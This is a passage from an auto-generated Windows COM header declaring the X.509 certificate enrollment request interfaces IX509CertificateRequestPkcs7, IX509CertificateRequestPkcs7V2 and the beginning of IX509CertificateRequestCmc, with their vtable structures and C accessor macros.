IX509CertificateRequestPkcs7_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7V2 : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7V2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7V2Vtbl;\n\n    interface IX509CertificateRequestPkcs7V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs7V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_CheckCertificateSignature(This,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab345-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplateName( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TransactionId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_TransactionId( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivePrivateKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ArchivePrivateKey( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionStrength( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificates( 